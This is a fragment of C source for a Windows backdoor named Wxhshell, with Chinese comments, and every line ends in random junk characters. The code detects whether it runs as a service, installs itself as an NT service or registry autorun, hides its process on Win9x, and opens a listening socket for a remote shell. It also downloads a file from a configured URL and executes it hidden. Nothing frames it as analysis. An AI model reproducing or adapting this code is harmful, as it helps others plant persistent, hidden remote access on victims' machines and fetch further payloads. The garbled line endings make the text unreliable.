DWORD BasePriority; kN=&"
ULONG UniqueProcessId; ,I"T9k-^
ULONG InheritedFromUniqueProcessId; !!\}-r^y%
} PROCESS_BASIC_INFORMATION; |_?e.}K
>XtfT'
PROCNTQSIP NtQueryInformationProcess; 5 `1
gnJ8tuS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AM+5_'S,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kQkc+sGJf
*RkUF!)(
HANDLE hProcess; k`5I"-e
PROCESS_BASIC_INFORMATION pbi; 1(p:dqGS
Vh~hfj"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Snk+ZQ-
if(NULL == hInst ) return 0; $w(RJ/
+b 6R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _?-oPb
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (MLcA\LJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Vnq|;W3Zv
[ar0{MPYd
if (!NtQueryInformationProcess) return 0; .B]l@E-u
"t^v;?4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &
/8Tth86
if(!hProcess) return 0; 40?RiwwD
qyM/p.mP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J>(X0@eWz
d,GOP_N8I
CloseHandle(hProcess); VcKB:(:[
yzN[%/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4r(0+SO
if(hProcess==NULL) return 0; o2
ng
8 m"k3:e^
HMODULE hMod; ko9}?qs
char procName[255]; "{~5QO
unsigned long cbNeeded; @1CXc"IgA
C*mVM!D);!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *}\M!u{J
u"h/ERCa
CloseHandle(hProcess); }JFTe
g
t5{P'v9J
if(strstr(procName,"services")) return 1; // 以服务启动 @v2<T1UC
EHUx~Q
return 0; // 注册表启动 Ef] Hpjvp
} vH+g*A0S<
tA#Pc6zBuC
// 主模块 z>W:+W"o
int StartWxhshell(LPSTR lpCmdLine) ^}+\ 52w
{ >._d2.Q'
SOCKET wsl; Uxjc&o
BOOL val=TRUE; -leX|U}k
int port=0; Q]9$dr=Kk0
struct sockaddr_in door; r *K
CyIlv0fd}
if(wscfg.ws_autoins) Install(); FMdu30JV
! AwMD
port=atoi(lpCmdLine); uG\~Hxqw7O
*I 1 H
if(port<=0) port=wscfg.ws_port; X%b1KG|#(
%mC@}
WSADATA data; ny{C,1QG
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Om*QN]lGq
CY o
m
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /x49!8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0j@mzd2
door.sin_family = AF_INET; ;MN$.x+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); T >8P1p@A,
door.sin_port = htons(port); iTHwH{!
x)C}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j*>J1M3E
closesocket(wsl); [1rQ'FBB^1
return 1; =muQ7l:(
} "'CvB0>
-m@c{&r
if(listen(wsl,2) == INVALID_SOCKET) { yV.p=8:
closesocket(wsl); ]c>@RXY'
return 1; m[}P
} t9`{^<LH
Wxhshell(wsl); g`pq*D
WSACleanup(); mn@1c4y
ZeV@ X
return 0; C&z!="hMhR
W_B=}lP@x
} g@#he95 }
+RJ{)Nec
// 以NT服务方式启动 0%bCP/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NQqw|3
{ )M0`dy{1
DWORD status = 0; 5t:Zp\$+`
DWORD specificError = 0xfffffff; yX!fj\R
== wX.y\.n
serviceStatus.dwServiceType = SERVICE_WIN32; \dHqCQ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !R@LC
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gC?}1]9c
serviceStatus.dwWin32ExitCode = 0; k'iiRRM
serviceStatus.dwServiceSpecificExitCode = 0; +iC:/CJL
serviceStatus.dwCheckPoint = 0; }T[@G6#
serviceStatus.dwWaitHint = 0; kx&JY9(
ins(RWO
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _%Z.Re
if (hServiceStatusHandle==0) return; 5az%yS
KSs1EmB
status = GetLastError(); rf0Z5.
if (status!=NO_ERROR) <)ZQRE@
{ |5vcT,A
serviceStatus.dwCurrentState = SERVICE_STOPPED; <ww D*t
serviceStatus.dwCheckPoint = 0; c+l1l0BA
serviceStatus.dwWaitHint = 0; ZuGSR GX'
serviceStatus.dwWin32ExitCode = status; KZ2[.[(Ph
serviceStatus.dwServiceSpecificExitCode = specificError; 3A,N1OXG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WRZpu95v
return; }sxs-
} +Q+O$-a<
N|i>|2EB
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4<[?qd3v=
serviceStatus.dwCheckPoint = 0; ;
$rQ
serviceStatus.dwWaitHint = 0; 4r$#-
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xVPSL#>
} a*(Zb|g
S#GxKMO%
// 处理NT服务事件,比如:启动、停止 !l*A3qA
VOID WINAPI NTServiceHandler(DWORD fdwControl) <.)=CK
{ =G}a%)?As\
switch(fdwControl) [bnu
DS
{ \~#\ [r_
case SERVICE_CONTROL_STOP: Z8=?Hu
serviceStatus.dwWin32ExitCode = 0; b%lB&}uw}
serviceStatus.dwCurrentState = SERVICE_STOPPED; HwFg;r
serviceStatus.dwCheckPoint = 0; TFkG"ev
serviceStatus.dwWaitHint = 0; ) k/&,J3
{ 0#NMNZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QD.5oS
} =OK#5r[UV
return; k5< n:dS
case SERVICE_CONTROL_PAUSE: uUfw"*D
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ij(dgY
break; %R$)bGT
case SERVICE_CONTROL_CONTINUE: zh) &6'S\
serviceStatus.dwCurrentState = SERVICE_RUNNING; JM;bNW8
break; }4>u_)nt
case SERVICE_CONTROL_INTERROGATE: | +;ZC y
break; )FwOg;=3M"
}; 3@=<4$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `&NFl'l1C
} Mg\588cI
cPtDIc,
// 标准应用程序主函数 &m5^
YN$b
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L@\t]
~
{ W,~*pyLdO
W^elzN(
// 获取操作系统版本 D&m1yl@\J
OsIsNt=GetOsVer(); dFg&|Lp
GetModuleFileName(NULL,ExeFile,MAX_PATH); {b- C,J
U>t:*SNC*
// 从命令行安装 rv[BL.qV
if(strpbrk(lpCmdLine,"iI")) Install(); O5du3[2x7a
m LajiZ Bf
// 下载执行文件 o2(w
if(wscfg.ws_downexe) { AkW,Fp1e
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xd3mAf
WinExec(wscfg.ws_filenam,SW_HIDE); cPIyD?c
} L^e*_q2d:>
2>"{El|PbN
if(!OsIsNt) { HV!P]82Pa
// 如果时win9x,隐藏进程并且设置为注册表启动 Jha*BaD~N
HideProc(); %enJ[a%Qg
StartWxhshell(lpCmdLine); ~^.,Ftkb@7
} fp||<B
else =3,<(F5Y[
if(StartFromService()) ^Whc<>|
// 以服务方式启动 `T[yyOL/
StartServiceCtrlDispatcher(DispatchTable); mV]~}7*Y;
else _x5-!gK
// 普通方式启动 TPb&";4ROf
StartWxhshell(lpCmdLine); ~@@t-QY
r;f\^hVy
return 0; ~b8.]Z^
}